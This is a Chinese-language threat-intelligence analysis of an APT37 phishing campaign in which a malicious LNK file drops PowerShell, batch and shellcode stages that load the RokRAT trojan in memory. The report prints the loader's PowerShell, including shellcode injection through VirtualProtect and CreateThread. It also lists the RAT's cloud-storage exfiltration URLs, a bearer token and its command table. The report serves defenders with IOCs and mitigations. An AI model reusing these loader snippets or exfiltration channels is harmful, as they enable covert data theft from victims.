概述
瑞星威胁情报平台于2024年4月捕获一起攻击事件,该事件中使用的诱饵文档名字是韩语,文档内容是中文,猜测目标可能与中韩相关。在攻击过程中,攻击者疑似通过钓鱼邮件向受害者投递恶意压缩包,该压缩包内含有一个恶意的快捷方式,这个快捷方式指向一段恶意的PowerShell
代码。PowerShell
会释放诱饵文档迷惑用户的同时还会释放三个文件(分别为price.bat
、para.dat
和panic.dat
),最终利用这些文件在内存中隐秘执行RokRAT
远控木马,从而实现对受害者机器的完全控制,例如窃取受害者计算机上指定文件或者其他敏感信息、下发其他恶意程序并执行、捕获屏幕截图等。
通过攻击手法等猜测此次事件可能和攻击组织APT37
有关联。APT37
是一个至少从2012年就开始对目标进行网络攻击的威胁组织,该组织又被称为Konni
,Group123
,TEMP.Reaper
等。APT37
威胁组织疑似来自朝鲜,具有国家背景。该组织主要目的是信息盗窃和间谍活动,其目标包括中国,俄罗斯,印度,日本,韩国等,涉及的领域有航空航天、汽车、化工、金融、政府、医疗保健、制造和运输等。
ATT&CK矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1059 -命令和脚本解释器 |
使用PowerShell 执行恶意命令 |
TA0002 -执行 |
T1204 -用户执行 |
诱使用户运行恶意快捷方式 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
RokRAT 收集系统信息 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
RokRAT 获取文件和文件夹列表 |
TA0009 -收集信息 |
T1119 -自动收集 |
RokRAT 获取并上传用户信息 |
TA0009 -收集信息 |
T1005 -来自本地系统的数据 |
RokRAT 获取系统信息 |
TA0009 -收集信息 |
T1074 -数据暂存 |
RokRAT 将收集的信息暂存在指定文件中,并将文件上传 |
TA0009 -收集信息 |
T1113 -屏幕截图 |
RokRAT 对受害者屏幕进行截图 |
TA0011 -指挥与控制 |
T1105 -文件传输工具 |
RokRAT 下载文件到受害者机器上 |
TA0010 -外传信息 |
T1020 -自动外传 |
RokRAT 会自动上传用户信息 |
TA0010 -外传信息 |
T1030 -数据传输大小限制 |
RokRAT 分块上传收集的系统信息 |
TA0010 -外传信息 |
T1567 -通过公共Web 服务外传 |
将收集到的数据发送到PCloud 等云存储服务 |
TA0011 -指挥与控制 |
T1071 -应用层协议 |
RokRAT 使用HTTPS 协议与服务器进行通信 |
事件详情
2024年4月,瑞星威胁情报中心捕获到一起攻击事件,该事件使用的诱饵文档名字是韩文,叫설비목록.doc
,翻译为中文是设备清单。虽然这个诱饵文档的名字是韩文,但是其内容是用中文编写的,详述了面包生产线中多个机械设备的参数等信息。根据这个诱饵文档,猜测攻击的目标可能与中韩相关。
攻击流程
攻击者疑似通过钓鱼邮件向受害者投递恶意压缩包,该压缩包含有一个指向恶意PowerShell
代码的快捷方式。当快捷方式被点击后,PowerShell
代码将被触发执行。PowerShell
代码会释放三个bat
文件(分别为price.bat
、para.dat
和panic.dat
),然后启动price.bat
文件。price.bat
会读取和执行para.dat
中的代码,而para.dat
中的代码将在内存中以创建线程的方式执行panic.dat
的代码,最后panic.dat
代码会在内存中解密出RokRAT
木马并执行。
相关负载分析
压缩包分析
字段 | 内容 |
---|---|
文件MD5 | 580601BC3F7016B59F8919FA7433639B |
文件类型 | ZIP |
文件大小 | 50.37 MB (52814178 bytes) |
压缩包内含有一个名为설비목록.lnk
(翻译为:设备清单.lnk
)的快捷方式文件,该快捷方式文件指向一段恶意的PowerShell
代码。
设备清单.lnk分析
字段 | 内容 |
---|---|
文件名 | 设备清单.lnk |
原始文件名 | 설비목록.lnk |
MD5 | 82F881A33EAFEE75FB1344432F76FAF6 |
文件类型 | LNK |
文件大小 | 50.37 MB (52814012 bytes) |
病毒名 | Trojan.Agent/LNK!1.AA03 |
设备清单.lnk
快捷方式文件指向一段恶意PowerShell
代码。PowerShell
代码会从设备清单.lnk
快捷方式文件中提取出同名诱饵文档설비목록.doc
(翻译为:设备清单.doc
)的数据,存于该快捷方式同目录下。最后打开诱饵文档设备清单.doc
来迷惑用户。
$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x0000108E, [System.IO.SeekOrigin]::Begin);
$pdfFile=New-Object byte[] 0x0087F800;
$lnkFile.Read($pdfFile, 0, 0x0087F800);
$pdfPath = $lnkPath.replace('.lnk','.doc');
sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;
PowerShell
代码会从设备清单.lnk
快捷方式文件中提取三个文件,分别存放在%public%\panic.dat
、%temp%\para.dat
以及%temp%\price.bat
。
$lnkFile.Seek(0x0088088E,[System.IO.SeekOrigin]::Begin);
$exeFile=New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath=$env:public+'\'+'panic.dat';
sc $exePath $exeFile -Encoding Byte;
$lnkFile.Seek(0x00959C90,[System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005A9;
$lnkFile.Read($stringByte, 0, 0x000005A9);
$batStrPath = $env:temp+'\'+'para.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;
$lnkFile.Seek(0x0095A239,[System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000135;
$lnkFile.Read($batByte, 0, 0x00000135);
$executePath = $env:temp+'\'+'price.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;
& $executePath;
PowerShell
代码会执行%temp%
目录下的price.bat
文件,然后强制删除设备清单.lnk
快捷方式文件。
& $executePath;
$lnkFile.Close();
remove-item -path $lnkPath -force;
price.bat分析
字段 | 内容 |
---|---|
文件名 | price.bat |
MD5 | 921ADBCC1036F4E37DB7E69F5218FFD0 |
文件类型 | BAT |
文件大小 | 309 bytes |
备注 | 执行para.dat |
price.bat
使用PowerShell
读取并执行%temp%
目录下的para.dat
文件中的代码。
$stringPath = $env:temp + '\' + 'para.dat';
$stringByte = Get-Content -path $stringPath -encoding byte;
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$scriptBlock = [scriptblock]::Create($string);
&$scriptBlock;
para.dat分析
字段 | 内容 |
---|---|
文件名 | para.dat |
MD5 | CE2C4BBD98C55E1EBF8C022F7A1A9CD5 |
文件类型 | PS |
文件大小 | 1449 bytes |
病毒名 | Trojan.Injector/PS!1.F9E3 |
备注 | 执行panic.dat |
指定与远程服务器通信时使用的安全协议为TLS 1.2
。
#设置 Net.ServicePointManager 的安全协议为 TLS 1.2(代码 3072)
[Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);
读取%temp%
目录中的panic.dat
文件内的数据,将读取的数据写入内存并创建线程执行。
$byteCount = $exeFile.Length;
$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;
$a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old);
for ($i = 0; $i -lt $byteCount; $i++) {
[System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]);
};
$handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0);
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);
panic.dat分析
字段 | 内容 |
---|---|
文件名 | panic.dat |
MD5 | A043B3A2AF9DB6173E3A39B5C501A9BD |
文件类型 | ShellCode |
文件大小 | 889858 bytes |
病毒名 | Trojan.ShellCode!1.F9EA |
备注 | 执行RokRAT远控木马 |
panic.dat
是一段ShellCode
,ShellCode
的主要作用是在内存中XOR 0x29
解密出PE
并将其执行。通过分析发现,该PE
其实是RokRAT
远控木马。
RokRAT分析
字段 | 内容 |
---|---|
MD5 | 12DD4814056582A6B6DC90920E3A8913 |
文件类型 | EXE |
文件大小 | 887808 bytes |
病毒名 | Backdoor.[APT37]RokRAT!1.D113 |
RokRAT
木马是一种基于云的远程访问工具,最早活跃于2017年。它常被APT37
攻击组织所使用,主要用于窃取计算机敏感信息、下发文件运行、捕获屏幕截图等。它的C&C
功能依赖于云基础设施,包括dropbox
、pCloud
、Yandex
和OneDrive
等。RokRAT
通过借助这些云存储平台作为其指挥与控制服务器,来降低被检测风险。以下是关于此次RokRAT
木马的简要分析。
RokRAT
获取电脑名、用户名、vmtoolsd.exe
版本、SMBIOS
数据、系统BIOS
版本、当前程序所在的路径以及程序当前是否正在被调试等信息。
GetComputerNameW(&word_4CFCEA, &nSize);
nSize = 64;
GetUserNameW(&word_4CFD6A, &nSize);
GetModuleFileNameW(0, &Filename, 0xFFu);
sub_40EAD6((CHAR *)&unk_4CFFEA); // SMBiosData
检测是否能对Windows
目录进行写入操作:在Windows
目录下成功创建bat
文件后,又立马将其删除。
对当前电脑显示画面进行截图,随机命名存于%temp%
目录下。
RokRAT
通过访问https://cloud-api.yandex.net/v1/disk/resources?path=/&limit=500
或者https://api.pcloud.com/listfolder?path=/
以确保它具有访问权限并且令牌有效。
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-
US,en;q=0.8
Authorization: Bearer JINs7ZDb7OvfloXrYZt8wH7kZ7LjA
jGKBckj4kTgWSBiDSVWF1fKX
RokRAT
在获取到远控命令之前都会加密发送获取的数据到https://api.pcloud.com/uploadfile?path=%s&filename=%s&nopartial=1
或https://cloud-api.yandex.net/v1/disk/resources/upload?path=%s&overwrite=%s
或https://content.dropboxapi.com/2/files/upload
,然后等待服务器回应。
接受RokRAT
发过来的远控指令,执行指令对应的操作。
指令 | 功能 |
---|---|
i/g | 访问指定URL |
j/b | 结束当前RokRAT |
d | 删除startup自启目录中的VBS和LNK、删除%AppData%路径下的CMD、BAT以及名称以01结尾的文件,最后结束当前RokRAT |
f | 删除startup自启目录中的VBS,删除%AppData%路径下的CMD、BAT以及名称以01结尾的文件,最后结束当前RokRAT |
h | 收集全部盘符下的所有文件和文件夹列表,将结果存在%temp%目录下.tmp文件中,并将.tmp文件上传和删除 |
e | 执行cmd命令 |
c | 上传文件。其中Normal表示上传指定文件夹内后缀为.XLS .DOC .PPT .TXT .M4A .AMR .PDF .HWP的文件;All表示上传指定文件夹内所有文件 |
1/2 | 从传过来的URL上下载payload并创建线程执行,同时收集startup自启目录中文件列表,计算机系统信息、路由信息以及网络配置信息等存于%temp%目录下r.txt文件中,并将r.txt文件上传和删除 |
3/4 | 从指定URL上下载payload并创建线程执行,同时收集startup自启目录中文件列表,计算机系统信息、路由信息以及网络配置信息等存于%temp%目录下r.txt文件中,并将r.txt文件上传和删除 |
5/6 | 从传过来的URL上下载PE文件,将PE存在%temp%目录下的KB400928_doc.exe中,然后将其执行 |
7/8/9 | 从指定URL上下载PE文件,将PE存在%temp%目录下的KB400928_doc.exe中,然后将其执行 |
攻击过程可视化(EDR)
瑞星EDR
上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程树以及相关的文件和文件流向等情况。
总结
APT
攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
580601BC3F7016B59F8919FA7433639B 82F881A33EAFEE75FB1344432F76FAF6 921ADBCC1036F4E37DB7E69F5218FFD0 CE2C4BBD98C55E1EBF8C022F7A1A9CD5 A043B3A2AF9DB6173E3A39B5C501A9BD 12DD4814056582A6B6DC90920E3A8913
-
瑞星病毒名
Backdoor.[APT37]RokRAT!1.D113